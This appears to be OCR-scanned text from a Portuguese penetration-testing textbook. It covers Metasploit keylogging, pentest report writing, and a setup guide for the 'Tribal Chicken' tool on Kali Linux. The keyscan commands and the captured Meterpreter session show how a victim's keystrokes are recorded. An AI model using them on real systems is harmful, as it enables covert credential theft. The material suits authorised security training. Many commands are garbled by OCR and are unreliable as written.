Ha varias aplicagdes de terceiros diferentes que se vangloriam de sua habilidade de serem instaladas e
executarem sem ser detectadas. Embora a maioria dessas alegagdes seja verdadeira até certo ponto, a
instala¢ao e o uso de um keylogger normalmente exigem o uso de aplicagdes especificas no sistema ou a
conexdo fisica de um dispositivo de hardware para o registro das teclas. As alegagdes dos terceiros
também ndo levam em consideracio nenhum antivirus ou sistemas de deteccio de invasio que
estiverem executando no sistema em que o pentester estiver tentando usar o keylogger. O Meterpreter
possui uma ferramenta incluida no meterpreter shell, chamada keyscan. Se um pentester tiver sessdes
abertas em uma vitima, os comandos serao incrivelmente simples.

1. keyscan_start
2a. keyscan_dump
2n. keyscan_dump (repetir conforme for necessario)

3. keyscan_stop

A figura 10.8 mostra uma captura de keylogging feita a partir de uma sessdo estabelecida com o
Metasploit. O servigo keyscan foi executado para mostrar todas as teclas digitadas, porém esse servico
pode ser focado em uma aplicacdo se o PID dessa aplicacdo for passado a ferramenta keyscan. Os PIDs
podem ser descobertos por meio do comando ps executado na linha de comando do meterpreter
quando conectado a sessdo.



root@cyber-recon: ~

File Edit WView arch Terminal HEI_|::-
msf exploit(handler) > run

Started reverse handler on 192.168.1.132:90600

]
] Starting the payload handler...

| Sending stage (/52128 bytes) to 192.168.1.131

] Meterpreter session 2 opened (192.168.1.132:9000 -> 192.168.1.131:11452) at
|

3-09-22 16:50:30 -0400

+
+
+
+
€]

|
|
|
|
2

meterpreter > keyscan start
Starting the keystroke sniffer...
meterpreter > keyscan dump
Dumping captured keystrokes...
<L LWin> rnotepad <Return> Hello from Cyber-Recon.com! <Return> <Alt> <LMenu>

<=

meterpreter > keyscan stop
Stopping the keystroke sniffer...

meterpreter > |j

Figura 10.8 — Keyscan.

Resumo

Este capitulo apresentou uma introdu¢ido a fun¢ido da preservacio de acesso; somente um grao de
poeira cosmica no amplo tdpico relativo ao universo dos malwares. O leitor agora possui os
fundamentos para efetuar pesquisas adicionais no campo dos malwares e das praticas de seguranca
associadas aos testes de invasdo avancados. A criacio de malwares pode levar o pesquisador aos cantos
mais obscuros da internet, mas também pode proporcionar mais esclarecimentos aos profissionais
envolvidos com seguranca para que a seguranca dos sistemas de computadores em todo o mundo possa
ser melhorada. A cria¢io de cavalos de Troia e de backdoors com o Metasploit ou com outras aplica¢des
contribui para um melhor conhecimento das praticas obscuras usadas pelos invasores maliciosos
porque, no fundo, a natureza dessas praticas é sombria e constitui um tabu tanto para os profissionais
da drea de seguranca quanto para os administradores.

Referéncia




[ 1 ] <http://www.federalreserve.gov/boarddocs/testimony/2000/20000518htm>.



cApiTuLo 11
Relatdrios e templates

Informagoes contidas neste capitulo:

« As informacgdes deste capitulo ajudarao o hacker ético a criar os relatérios de testes de invasdao
usados para apresentar as descobertas técnicas resultantes desses testes a geréncia e a equipe técnica
das empresas.

Visao geral do capitulo e principais pontos de aprendizagem
Este capitulo inclui:

» uma explica¢do sobre as partes que compdem o relatorio de testes de invasio

« as opgoes de entrega

« uma descricdo das possibilidades de retencio para os dados dos testes e os relatorios

Geracdo de relatdrios

Ter conhecimentos técnicos é importante para realizar um teste de invasao e é a inica maneira de obter
os resultados desejados para validar o status do sistema em avaliacio no que concerne a seguranga. A
geréncia de uma empresa normalmente é o grupo que autoriza a condu¢ao de um teste de invasio e,
mais importante ainda, é quem paga a equipe de testes de invasao para que uma avaliacao seja feita.
Essa mesma equipe de gerenciamento ira querer um relatério contendo as informagdes desejadas. Ao
mesmo tempo, os especialistas técnicos da area de desenvolvimento de sistemas e a equipe gerencial
irdo precisar que os detalhes técnicos sejam esclarecidos para poderem efetuar as corre¢des necessarias.
Por esse motivo, o relatorio de testes normalmente é dividido em varias se¢des, que serdo descritas
neste capitulo.

Sumario executivo

O sumario executivo da relevancia ao evento de teste e oferece uma descricdo geral da avaliacdo. Nesta
secao, sdo incluidos o local em que o teste foi realizado, se foi local ou remoto, a composi¢io da equipe
de testes e uma explicagao geral sobre a seguranga/vulnerabilidade do sistema. Esse é um bom local
para os graficos de pizza e outros graficos que mostrem o grau de severidade das exploracdes de falhas
realizadas. Essa se¢do nao deve ter mais do que trés paragrafos e, embora seja incluida no inicio do
documento, normalmente é a ultima parte do relatério a ser redigida.

Procedimentos ligados ao teste

Esta secdo deve definir os limites e os processos associados a realiza¢iao da tarefa. Isso inclui a defini¢do



dos tipos de testes realizados. A engenharia social fez parte da avaliacdo? E os ataques DoS? Toda a
metodologia usada na avaliagdo deve ser explicada nessa se¢do. Aqui devem ser incluidas as
informacoes detalhadas sobre o local em que cada tipo de ataque foi realizado e, em relacio a esse local,
onde o alvo estava localizado. Por exemplo, um teste especifico poderia ter sido realizado pelo pentester
a partir de um local remoto em uma aplicacio web por meio da internet, ou um ataque wireless poderia
ter sido realizado fora da matriz da empresa-alvo.

Arquitetura e composicao do alvo

Esta secao opcional deve descrever as informacoes reunidas a respeito do ambiente do alvo, incluindo
os sistemas operacionais, os servicos oferecidos, as portas abertas e qualquer plataforma de hardware
que possa ter sido identificada. E um bom local para inserir qualquer mapa de rede que tenha sido
criado durante o teste de invasao.

Descobertas

P

Esta secdo descreve as vulnerabilidades e os pontos fracos descobertos durante o teste de invasio. E
importante identificar todos os sistemas em que houver pontos fracos especificos para garantir que a
equipe responsavel pelo sistema possua as informag¢des necessarias para corrigir as vulnerabilidades
identificadas. Se for possivel, as falhas de seguranca devem ser relacionadas a regulamentagdes ou a
requisitos do governo para permitir que os proprietarios dos sistemas mapeiem os custos a um
determinado fundo de recursos. Esse passo ajuda os proprietarios do sistema a obter o dinheiro
necessario para fazer as corre¢bes apropriadas no sistema. Por exemplo, alguns requisitos estdo
definidos no FISMA (Federal Information Security Management Act), no PCI (Payment Card
Industry) ou sao padroes do SOX (Sarbanes Oxley).

Ac¢des recomendadas

Esta secio define uma ac¢io recomendada para cada um dos pontos fracos ou das vulnerabilidades
descobertos. Pode ser uma se¢do separada ou cada ponto fraco identificado na secio Descobertas pode
ser seguido por uma Recomendagao sobre como corrigi-lo. Nao se deve definir a corre¢io técnica exata,
porém a descoberta deve ser abordada de forma genérica, de modo a permitir que o proprietario do
sistema e a equipe responsavel formulem a corre¢ido por conta prdpria. Por exemplo, a descoberta de
uma falta de senha ou do uso de senha default pode ter como recomendagao implementar e garantir
que havera uma politica mais robusta para as senhas.

Conclusao

A conclusio deve sintetizar as descobertas e as a¢cdes recomendadas em uma série de sentencas breves.
Esse também pode ser um bom local para enfatizar novamente as descobertas importantes ou criticas
que merecam uma aten¢ao extra, sugerindo enfaticamente que o proprietario do sistema corrija esses
itens em primeiro lugar.

Apéndices



Os apéndices devem conter todas as informagdes necessarias para dar suporte ao relatdrio, mas estas
nao devem ser incluidas no corpo principal. Aqui sdo incluidos os dados puros dos testes, as
informagoes sobre a empresa que fez o teste de invasao, as definicdes, os glossarios, a lista de acronimos
e os curriculos profissionais de cada pentester.

Apresentacao

A maioria dos executivos de negocio vai querer que seja feita uma apresenta¢ao formal ou semiformal
dos resultados dos testes de invasdo, a qual também pode ser complementada com uma apresentagio
de slides. De qualquer modo, se houver necessidade de uma apresentacio final, ela devera ser realizada
da maneira mais profissional possivel. Evite criticar os administradores de sistemas, a equipe técnica, de
manuten¢do e de gerenciamento de projetos, pois normalmente esses serdo os individuos que
determinardo quem sera selecionado para acompanhar a execuc¢io de novos testes. Em vez disso,
apresente os fatos de modo a deixar as emocoes de lado e ndo acuse nenhum grupo em particular.
Defina as deficiéncias do sistema de forma honesta e aborde a necessidade de corrigir esses problemas.

Em outras ocasides, uma apresentacdo nao serd necessaria e a geréncia simplesmente ird querer que o
relatdrio seja entregue a uma pessoa ou a um grupo especifico. Nesse caso, certifique-se de que o
relatdrio esteja correto, totalmente impresso e apresente-o a geréncia de modo profissional. Com
frequéncia, varias copias do relatério serao solicitadas, incluindo cépias digitais, além de cdpias
impressas em papel. Nesses casos, cada relatério deve ser numerado e controlado de acordo com a
quantidade total de copias impressas. Por exemplo, “copia 1 de 57 pode ser impressa em todas as
paginas da primeira copia. Esse método proporciona uma maneira de rastrear esses documentos.

Relatorios completos de testes de invasao contém uma grande quantidade de informag¢des que poderia
ser prejudicial a uma empresa se essas informacoes fossem parar nas maos erradas. Por esse motivo, é
necessario assumir a responsabilidade sobre cada cdpia (tanto em papel quanto eletronica) do relatdrio.

Armazenamento do relatdrio e das evidéncias

Algumas empresas irdo querer que a empresa responsavel pelo teste de invasio mantenha uma cdpia
eletronica dos resultados dos testes e dos relatorios gerados. Se esse for o caso, é necessario tomar
cuidados especiais com a seguranca desses documentos. No minimo, eles devem ser protegidos com um
nivel robusto de criptografia, e ndo é incomum que esses documentos sejam armazenados em um
arquivo offline criptografado e que permanecam em um local seguro para aumentar o nivel de protecao.

Outros clientes irdo exigir que os relatorios e as descobertas sejam apagados. Isso deve ser feito de
acordo com instrugdes legais, pois pode haver repercussdes cuja responsabilidade podera recair sobre
uma equipe de testes de invasdo em consequéncia de erros ou omissdes que niao tenham sido cobertos
em um relatdrio de testes de invasdo. Se o departamento juridico concordar com o fato de que apagar
os dados é aceitavel, garanta que os discos contendo os relatérios sejam sobrescritos de forma confiavel
e que todas as copias de backup e os artefatos usados no trabalho sejam igualmente destruidos. Se
possivel, ao limpar os drives e apagar as informagdes do cliente, as boas praticas recomendam que duas
pessoas verifiquem se os dados foram corretamente eliminados; isso é chamado de “two-person
integrity” (integridade garantida por duas pessoas).



Resumo

Realizar um teste de invasio em um sistema pode ser empolgante e pode resultar na criagdio de um
sistema mais seguro e com mais qualidade pelos proprietarios. E importante garantir que o relatério e a
documentagio para suporte associados ao evento de teste sejam encaminhados as pessoas corretas e que
sejam apresentados do modo solicitado pelo cliente. O resultado deve ser um relatério que aponte os
pontos fracos identificados no sistema avaliado de modo a facilitar sua corre¢ao, com a finalidade de
tornar esse sistema e possivelmente toda a empresa mais seguros.



APENDICE A
Tribal Chicken

Guia completo de instalacdo e de configuracao para o Kali Linux 1.0.5

Introducao

Este é um guia de instruc¢des voltado para a instalagio do ambiente de software do Tribal Chicken. O
Tribal Chicken tem como finalidade criar um sistema operacional de base para o pentester e gerar um
DVD ou um Blu-Ray disc portavel que podera ser usado como um live-OS ou ser instalado em outro
computador. Todo pentester e/ou as equipes de testes lidam com um sistema operacional unico,
personalizado de acordo com suas preferéncias. O Tribal Chicken parte de um sistema operacional base,
como o Kali ou o Backtrack, e cria um sistema que permite a rdpida implantacdo de distribuicdes
personalizadas a serem usadas na realizacio de testes de invasio e em treinamentos praticos. A
personalizacido pode ser tdo simples quanto fazer atualiza¢des no sistema operacional ou tdo detalhada
como uma personaliza¢io completa em todos os pontos e bytes do sistema.

Faca parte do projeto! Dé uma olhada no Tribal Chicken e ajude a desenvolvé-lo.

O site encontra-se em http://code.googlecode.com/p/tribal-chicken.

Lista de materiais
1. Um computador fisico ou um software de virtualizacdo como o VMWare Player ou o VirtualBox.
2. No minimo 80 GB de espago no disco rigido, porém 160 GB é recomendavel.
a. Para este manual, o disco rigido esta instalado como o disco rigido principal (/dev/sda).
3. DVD do Ubuntu 12.10 (64 bits) ou com versao mais recente.

a. Observa¢ao: Este manual foi gerado com o Ubuntu 12.10 (64 bits). O uso de software para 32 bits
esta fora do escopo desta documenta¢io, porém os passos a serem seguidos sdo os mesmos. Pode
haver pequenas diferencas quanto as versdes de pacotes e a sintaxe dos comandos entre os sistemas
operacionais, porém o passo referente ao Tribal Chicken serd o mesmo.

4. DVD do Kali Linux versdo 1.0.5 (64 bits) ou com versio mais recente.
5. Uma conexao de rede ativa com acesso a internet.

a. Se ndo houver nenhum servico DHCP na rede, supde-se que o leitor saiba configurar os dispositivos
de interface de rede. O leitor ndo conseguird executar os passos deste manual sem configurar os
servicos basicos de rede de forma apropriada e sem ter uma conexdo ativa com a internet.

6. Alguma familiaridade com a interface de linha de comando do Linux.

a. Muitos dos comandos contidos neste manual devem ser executados em um ambiente de shell do



Linux. Conhecimentos basicos de navegacio, administracido e execu¢ao de arquivos sdo necessarios
para completar os passos deste manual.

Instalacdo e configuracao do Ubuntu

1. Instale o Ubuntu 12.10 (64 bits):
a. Insira a midia contendo o Ubuntu 12.10 no drive apropriado e faga o boot com o disco.
b. Clique em > Install Ubuntu (Instalar o Ubuntu).

c. (SE houver conexdo de rede disponivel no momento), marque a caixa Download updates while installing
(Fazer download das atualizagdes durante a instalacio).

d. Clique em > Continue (Continuar).
e. Selecione > Something Else (Outras tarefas).
f. Clique em > Continue.
g. Configure as parti¢goes em (/dev/sda):
g.i. Selecione (/dev/sda).
g.ii. Clique em > New Partition Table (Nova tabela de parti¢do).
g.iii. Um aviso genérico sera apresentado. Clique em > Continue.
g.iv. Selecione > free space (espaco livre) localizado abaixo de (/dev/sda).
g.v. Clique em > (+) para adicionar uma nova parti¢ao.
g.vi. Selecione as configuragdes a seguir:

g.vi.1. Type = Primary

g.vi.2. Partition Size = 30.000

g.vi.3. Location = Beginning

g.vi.4. Use as (Formatting) = Ext4 Journaling File System

g.vi.5. Mount Point = {Deixe esse campo em branco}

g.vii. Clique em > OK.

(Isso criara (/dev/sda1), que serd usado posteriormente na instalacao do Kali Linux.)
g.viii. Selecione > free space (espaco livre) localizado abaixo de (/dev/sda).
g.ix. Clique em > (+) para adicionar uma nova parti¢ao.

g.x. Selecione as configuracoes a seguir:

g.x.1. Type = Primary

g.x.2. Partition Size = 8.000 (Observa¢ao: Configure com 2x RAM)

g.x.3. Location = End

g.x.4. Use as (Formatting) = Swap Area

g.x.5. Mount Point = {Deve estar desabilitado}

g.xi. Clique em > OK.

(Isso criara (/dev/sda2), que sera usado como area de swap em ambos os sistemas operacionais.)



g.xii. Selecione Free Space.
g.xiii. Clique em > (+) para adicionar uma nova particao.
g.xiv. Selecione as configurac¢des a seguir:
g.xiv.1. Type = Primary
g.xiv.2. Partition Size = {Todo o espago restante}
(Observagido: devera ser calculado automaticamente para vocé.)
g.xiv.3. Location = End
g.xiv.4. Use as (Formatting) = Ext4 Journaling File System
g.xiv.5. Mount Point =/
g.xv. Clique em > OK.
(Isso criara (/dev/sda3), que sera usado nessa instalacio do Ubuntu 12.10 (64 bits).)
g.xvi. Em Device for boot loader installation (Dispositivo para instalagio do boot loader), selecione >
(/dev/sda).
h. Clique em > Install Now (Instalar agora).
h.i. Um aviso relacionado a formatacio do drive sera apresentado. E normal. Continue.
i. Selecione > {Fuso horario apropriado}.
j. Clique em > Continue.
k. Selecione > {Layout de teclado desejado}.
1. Clique em > Continue.
m. Defina um usuario. Preencha os campos a seguir:
m.i. YourName = {O que vocé quiser}
m.ii. Your Computer'sName = {O que vocé quiser}
m.iii. Pick ausername = {O que vocé quiser}
m.iv. Choose a password = {O que vocé quiser}
m.v. Confirm your password = {A mesma senha}
m.vi. Selecione as configura¢des de Log in.
m.vii. (Recomendado) Require my password to log in (Exigir minha senha para login).
n. Clique em > Continue.
(A instalagdo continuara; deve levar cerca de uma hora caso as atualizagdes tenham de ser baixadas.
Apoés uma instalagao bem-sucedida, continue com o préximo passo.)
0. Quando solicitado, clique em > Restart Now (Reiniciar agora).
p. Quando solicitado, remova a midia de instalacio do Ubuntu.
q. Tecle > Enter.

r. O computador sera reiniciado. Quando solicitado, faga login com suas credenciais configuradas nos
Passos 1m(iii) e 1m(iv).



2. Abra uma janela do terminal: (Atalho: <CTRL>+<ALT>+T).
3. Configure a rede:

a. Inicie uma janela do terminal clicando no icone de terminal gnome, préximo ao canto superior
esquerdo da tela.

b. Digite > ifconfig -a

c. Se o DHCP estiver habilitado e o computador estiver conectado a internet, devera haver pelo
menos uma interface de rede que adquiriu um endereco IP. Va para o passo 4.

d. Se o DHCP nio estiver habilitado em sua rede: Digite >

sudo ifconfig ethe {Endereco IP}/{Notag¢cdo Cidr} ou {Mdscara de sub-rede}

e.I)igﬂe > sudo route add default gateway {endereco IP de_seu_gateway}

f. Digite > sudo echo nameserver 8.8.8.8 >> /etc/resolv.conf
f.i. (Vocé pode adicionar até duas entradas referentes a servidores de nome nesse arquivo.)

g. Digite > sudo echo nameserver {endereco_IP} >> /etc/resolv.conf

4. Atualize os pacotes e as listagens do APT:
a. Digite > sudo apt-get update && sudo apt-get -y upgrade

a.i. Dependendo da velocidade de sua conexao com a internet e da quantidade de patches a serem
baixados, isso pode consumir uma hora ou mais.

5. Instale pacotes adicionais:

(Observagdo: Verifique mais de uma vez se o0 comando a seguir esta digitado corretamente “ANTES” de
teclar Enter ou omita o “-y”. Alguns pacotes ja podem estar instalados e atualizados; isso nao
provocara erros ao instalar outros pacotes.)

a. I)igﬂxii> sudo apt-get -y install genisoimage aptitude dialog squashfs-tools gparted subversion
growisofs

6. Configure os diretorios:
a. Abra uma janela do terminal.

b. Digite > mkdir build

c. (Opcional/Recomendado) Defina um diretdrio archive para os softwares que forem baixados e para
os scripts personalizados.
c.i. Digite > mkdir archive

(Para facilitar o transporte, outro drive podera ser montado aqui ou a pasta poderd ser usada como
um local normal de armazenamento.)

7. Importe o cédigo-fonte:

a. Digite > svn checkout http://tribal-chicken.googlecode.com/svn/trunk/~/build/

a.i. Isso fara o download de todo o codigo-fonte necessario ao Tribal Chicken.
8. Instale o VirtualBox:

(Observacgio: Se o arquivo .deb adequado ndo existir na pasta archive, va para o passo 8.d.)



a. Digite > 1s -al ~/archive/virtualbox*
a.i. Verifique se o VirtualBox para o Ubuntu “Quantal” existe.
a.i.l. (Observacio: Se uma versio diferente do Ubuntu estiver sendo usada, selecione o
VirtualBox apropriado.)
b. Digite > sudo dpkg -i ~/archive/virtualbox_{versdo}.deb
¢. Quando concluir esse processo com sucesso, va para o passo 9.
d. (Somente se o arquivo ndo existir) Faca o download do VirtualBox para a versio instalada do
Ubuntu:
d.i. A versdo esta em: https://www.VirtualBox.org/wiki/Linux_Downloads
d.ii. Selecione a op¢ao AMDG64 para a versdo corrente do Ubuntu instalada no sistema.

d.ii.1. Para conferir a versdo do sistema operacional instalado, digite > cat /etc/osrelease

e. Apds o download ter sido concluido (supondo que ele tenha sido salvo em ~/Downloads)

e.i. Digite > sudo dpkg -i ~/Downloads/virtualbox-[versdo].deb
f. Apds a instalagao ter sido concluida com sucesso, digite virtualbox &

f.i. Verifique se o VirtualBox foi iniciado corretamente.
g. Salve o pacote baixado em seu diretorio archive para uso futuro.

9. Prepare o diretdrio build contendo o Kali Linux 1.0.5:

a. Insira a midia do Kali Linux no drive de midia 6ptico (devera ser montado automaticamente).
b. Copie todo o conteudo do disco para o diretério build.
Digite > cp -abpr /media/{nome_do_usudrio}/Kali/ Linux ~/build/DVD64

b.i. Preste bastante atencdo as barras. O comando anterior trata o disco do Kali Linux como uma

pasta e executara uma cdpia em modo archive. Se as barras ndo estiverem no local correto,
determinados arquivos serdo ignorados.

b.ii. Esse processo pode durar entre 2 minutos e 30 minutos, de acordo com o seu hardware.

c. Verifique se terminou. Digite > 1s -al ~/build/DVD64/

c.i. Procure pela pasta .disk. Ela sera um forte indicio de que todos os arquivos foram transferidos
com sucesso.

Com isso concluimos a instalacio do Tribal Chicken no Ubuntu 12.10 e a prepara¢io da midia para o
Kali Linux 1.0.5 para o momento de fazer a gravagdo. O restante deste manual ird focar na instalaciao
do Kali Linux, com um bom conjunto de aplicagdes e de personalizagdes recomendadas.

O Tribal Chicken pode ser usado para criar distribuicoes personalizadas que vao além do Kali Linux e
do Backtrack. Para usar um sistema operacional diferente do Kali Linux, remova a pasta DVD64 do
diretdrio build e repita o passo 8 anterior.

Instalacdo do Kali Linux 1.0.5

1. Instale o Kali Linux em (/dev/sda1):



(Esse passo supde que vocé esta partindo de uma instalacio do Ubuntu 12.10, que acabou de completar
o passo 8¢ e que a midia do Kali Linux continua no drive de midia dptico.)

a. Reinicie o computador com a midia do Kali Linux. A partir da janela corrente do terminal no
Ubuntu, digite > sudo reboot

a.i. Se estiver usando o VMWare Player, tecle ESC para entrar no menu de boot e selecione o boot a
partir do CD-ROM.

b. No menu de boot selecione > Graphical Install (Instalacao grafica).

c. Selecione o idioma apropriado. Clique em > Continue (Continuar).

d. Selecione a localidade apropriada. Clique em > Continue.

e. Selecione os parimetros de teclado apropriados. Clique em > Continue.

f. Dé um nome ao computador. Nome assumido: kali. Clique em > Continue.

g. Especifique um dominio, se estiver disponivel. Dominio assumido: {em branco}. Clique em >
Continue.

h. Selecione uma senha para o root. Senha assumida: toor. Clique em > Continue.
i. Selecione o fuso horario apropriado. Clique em > Continue.

j. Selecione > Specify Partition Manually (Advanced) [Especificar particio manualmente (Avangado)]. Clique
em > Continue.
k. Selecione a parti¢ao para a instalacdo do Kali Linux:
k.i. Dé um clique duplo em > /dev/sda1 (#1).
k.i.1. Uma janela secundaria serd apresentada.

k.ii. Dé um clique duplo em > Use as: (Usar como:) e configure o sistema de arquivos para ext.
Clique em > Continue.

k.iii. Dé um clique duplo em > Format the partition (Formatar a parti¢do).
k.iii.1. Esse parametro sera alterado para yes, formatit (sim, formate).

k.iv. Dé um clique duplo em > Mount Point: (Ponto de montagem) e selecione /- the root file system (/ - o
sistema de arquivos root). Clique em > Continue.

k.v. Selecione > Done setting up the partition (Configuracdo da particio concluida). Clique em >
Continue.

k.vi. Selecione > Finish partitioning and write changes to disk (Finalizar o particionamento e gravar
alteracoes no disco). Clique em > Continue.

1. Selecione > Yes (Sim). Clique em > Continue.

L.i. Esse processo ira levar alguns minutos.
m. Selecione > Yes para usar um espelho de rede. Clique em > Continue.

n. Se um proxy HTTP for usado, insira as informagdes (normalmente estara em branco). Clique em >
Continue.

0. Selecione Yes para instalar o GRUB boot loader no master boot record. Clique em > Continue.



p. Selecione > Yes para configurar o reldgio para UTC. Clique em > Continue.

g- Quando a instalacio for concluida, clique em > Continue.

q.i. O disco serd ejetado e o sistema sera reiniciado. A entrada default do menu GRUB agora estara
configurada para fazer o boot do Kali Linux automaticamente.

2. Quando os dados de login forem solicitados, o login default devera ser:
a. Username: root
b. Password: toor

3. Configure a rede:

a. Abra uma janela do terminal clicando no icone de terminal gnome, préximo ao canto superior
esquerdo da tela.

b. Digite > ifconfig -a

c. Se o DHCP estiver habilitado e o computador estiver conectado a internet, devera haver pelo
menos uma interface de rede que adquiriu um endereco IP. Va para o passo 4.

d. Se o DHCP nio estiver habilitado em sua rede, digite >

ifconfig ethe {Endereco IP}/{Nota¢do CIDR} ou {Mdscara de sub-rede}

e. Digite > route add default gateway {Endereco_IP_de_seu_gateway}

f. Digite > echo nameserver 8.8.8.8 >> /etc/resolv.conf
f.i. (Vocé pode adicionar até duas entradas referentes a servidores de nome nesse arquivo.)
f.ii. Digite > echo nameserver {Endereco_IP} >> /etc/resolv.conf

4. Adicione os repositdrios Bleeding Edge para o APT

a. Digite > echo deb http://repo.kali.org/kali kali-bleeding-edge main >>
/etc/apt/sources.list

a.i. Os pacotes Bleeding Edge disponibilizarao ao pentester os pacotes e os patches mais atualizados.
5. Atualize os pacotes e as listas do APT:
a. Digite > apt-get update && apt-get y upgrade & apt-get -y distupgrade

a.i. (Observa¢ido: Dependendo de sua conexdo com a internet, pode ser necessario executar esse
comando varias vezes.)

b. Digite > apt-get autoremove
b.i. Esse comando eliminard qualquer pacote que se determine que deva ser removido.
6. Instale pacotes adicionais:
(Observagdo: Verifique mais de uma vez se o0 comando a seguir esta digitado corretamente “ANTES” de

teclar Enter ou omita o -y. Alguns pacotes ja podem estar instalados e atualizados; isso ndo provocara
erros ao instalar outros pacotes.)

a.I)igﬂe > apt-get -y install abiword aptitude ftpd gqview gpartedk3b kcalc lynx pdfsam smb2www tftp
vifm yakuake rdesktop

b. Apos a conclusao, digite > apt-get update & apt-get -y upgrade



c. (Se necessario) Digite > apt-get autoremove
7. Importe scripts do Tribal Chicken
a. Digite > mount /dev/sda3 /mnt

a.i. Esse comando monta o disco usado na recente instalagio do Ubuntu 12.10, contido em
/dev/sda3. Pode ser diferente conforme as instalacgdes.

b. Digite > cp -abpr /mnt/home/{nome_do_usudrio}/build/hostfiles/btbin /root/bin
c. Digite > 1s /root/bin
c.i. Verifique se os arquivos foram transferidos com sucesso.
d. Digite > cp ~/bin/bash_aliases ~/.bash_aliases
e. Digite > umount /mnt

f. (Opcional) Se houver um drive separado para o armazenamento de arquivos, adicione-o agora.
(Por exemplo) Digite > mount /dev/sdbl /mnt

f.i. Esse comando monta o disco para o armazenamento de arquivos. A medida que forem feitos
downloads no sistema, salve esses arquivos no drive/na pasta para armazenamento de arquivos de
modo a permitir um acesso no futuro. Se forem salvos anteriormente, os pacotes poderdo ser
baixados a partir desse local, em vez de ter de esperar pelos downloads.

g. Digite > cd ~/bin
h. Digite > ./fix_path

h.i. Isso fara /root/bin ser adicionado a variavel PATH quando vocé iniciar uma nova janela do
terminal.

i. Feche a sessao corrente da janela do terminal e, em seguida, inicie uma nova sessao.
8. Instale o navegador Google Chrome:

(Observagido: se o arquivo ndo existir no drive/na pasta de arquivos armazenados (/mnt), va para o passo
8d para prosseguir com este manual.)
a. Digite > 1s -al /mnt/google*
a.i. Verifique se o pacote .deb do Google Chrome ja existe.
b. Digite > dpkg -i /mnt/google-chrome-stable_current_amde4.deb

b.i. (Observagao: Mesmo que esse pacote esteja desatualizado, apds a instalacdo, o caminho para
atualizar o pacote google-chrome estara pronto; desse modo, depois que o préoximo comando apt-
get upgrade for executado, o Chrome ird se atualizar sozinho.)

¢. Quando concluir esse processo com sucesso, va para o passo 9 a seguir.

d. (Somente se o arquivo ndo existir) Faca o download do Google Chrome:
d.i. Ele esta disponivel em: http://chrome.google.com/.

d.ii. O site deve redirecionar vocé a um site seguro para fazer o download da versao Linux.

e. Apos o download ter sido concluido (supondo que ele tenha sido salvo em ~/Downloads), digite cd

~/Downloads.



f. Digite > dpkg -i google-chrome{versdo}.deb

g. Apos a instalacao ter sido feita com sucesso, o Google Chrome devera “ser corrigido para que um
usuario root possa acessar a aplica¢cdo”. Digite > fix_chrome.

h. Digite > google-chrome &
h.i. Verifique se o Google Chrome foi iniciado corretamente.
i. (Opcional) Salve o download na pasta de armazenamento de arquivos.

9. Instale o VMWare Player:

(Observagido: se o arquivo nao existir no drive de arquivos armazenados (/mnt), va para o passo 9d e
entao prossiga com este manual.)

a. Digite > 1s -al /mnt/VMWare-player*
a.i. Verifique se o arquivo .bundle do VMWare Player existe.
b. Digite > chmod +x VMWare*.bundle
c. Digite > ./vMware-Player-[versdo].bundle
Continue no passo 9.g. a seguir.
d. (Somente se o arquivo ndo existir) Faca o download do VMWare Player e instale-o:

d.i. Ele esta disponivel em: https://www.vmware.com

d.ii. (Observagdo: O contetdo do site ¢ alterado regularmente e 0 VMWare Player muda de lugar
no site. Use o menu Products (Produtos) para navegar até o link do VMWare Player na secao
intitulada Free (Gratuito).)

e. Apos o download ter sido concluido (supondo que ele tenha sido salvo em ~/Downloads), digite cd
~/Downloads

f. Digite > ./vmware-Player-[versdo].bundle

g. Apds a GUI de instalacgdo ter iniciado, leia o EULA (End User License Agreement, ou Contrato de
licenga para o usuario final) do VMWare Player. Selecione > Accept (Eu aceito) e clique em > Next
(Préximo).

h. Um segundo EULA sera apresentado, dessa vez para a ferramenta OVF da VMWare. Leia-o,
selecione > Accept e clique em > Next.

i. NAO VERIFIQUE SE HA ATUALIZACOES NA INICIALIZACAOQ! Altere o botdo de radio para
No e clique em > Next.

j. NAO ENVIE DADOS ANONIMOS! Altere o botio de rddio para No e clique em > Next.
k. Selecione > Skip License key fornow (Ignorar a chave de licenga por enquanto). Clique em > Next.
1. Clique em > Install (Instalar).

m. Ap0s a instalagdo ter sido concluida com sucesso, digite > vmplayer &.
m.i. Verifique se a aplica¢do foi iniciada corretamente.

m.ii. Se houver um erro, tente executar fix_vmplayer na pasta /root/bin/.

n. (Opcional) Salve o download na pasta de armazenamento de arquivos.



10. Configure o navegador Ice Weasel:

O navegador IceWeasel ¢ um navegador web da Mozilla que funciona tao bem quanto o Firefox e tem
muitos dos mesmos recursos, por exemplo, os add-ons.

a. Abra o IceWeasel.
b. No barra de menu na parte superior, selecione > Tools.Add-Ons (Ferramentas.Add-ons).

c. Procure e instale os add-ons a seguir:
c.i. Firebug
c.ii. FlashFirebug
c.iii. Groundspeed
c.iv. JSONView
c.v. SQL Inject Me
c.vi. UnPlug
c.vii. XSS Me
c.viii. MitM Me
c.ix. Hackbar
c.Xx. NoScript
c.xi. JavaScript Deobfuscation
c.xii. Grease Monkey
c.xiii. Right to Click
c.xiv. Javascript Object Examiner
c.xv. FxIF
c.xvi. RightClickXSS
c.xvii. Tamper Data
c.xviii. User Agent Switcher
c.xix. Cipherfox
C.XX. . . . Qualquer outro que vocé quiser. . .
d. Apds todos os add-ons terem sido instalados, desabilite todos os plug-ins, exceto o plug-in
“NoScript”.
e. Configure os plug-ins e o IceWeasel de modo a impedir a atualizagdo automatica
(Default/Recomendado).
f. Feche o IceWeasel.

11. Instale e configure o Nessus:

a. Faca o download do Nessus 5.0 ou de uma versio mais recente a partir de

http://www.nessus.org/download.
b. Em uma janela do terminal, digite > dpkg -i ~/Download/Nessus-{versdo}.deb

c. Digite > service nessusd start



d. Abra um navegador web (IceWeasel ou Chrome).

Acesse: https://localhost:8834/.

e. Clique em > Get Started (Iniciar).

f. Crie um ID e uma senha para login. (Valores assumidos: root / toor). Clique em > Next.

g. Selecione > | will use Nessus to scan my Home Network (Eu usarei o Nessus para efetuar o scan de minha

rede doméstica).

g.i. No menu suspenso, digite um nome para o registro e um endereco de email valido. Clique em >
Next.

g.ii. O navegador sera automaticamente atualizado para mostrar a pagina normal de login do
Nessus.

Os passos a seguir servem SOMENTE para o Nessus HomeFeed! Se vocé tiver uma licenca do
Professional Feed, por favor, consulte a documentac¢io dessa versao do Nessus. Usar um HomeFeed
para fins comerciais consiste em uma violacdo do EULA (End User License Agreement).

h. Registre-se para um Nessus Home Plug-in Feed; em qualquer navegador, acesse
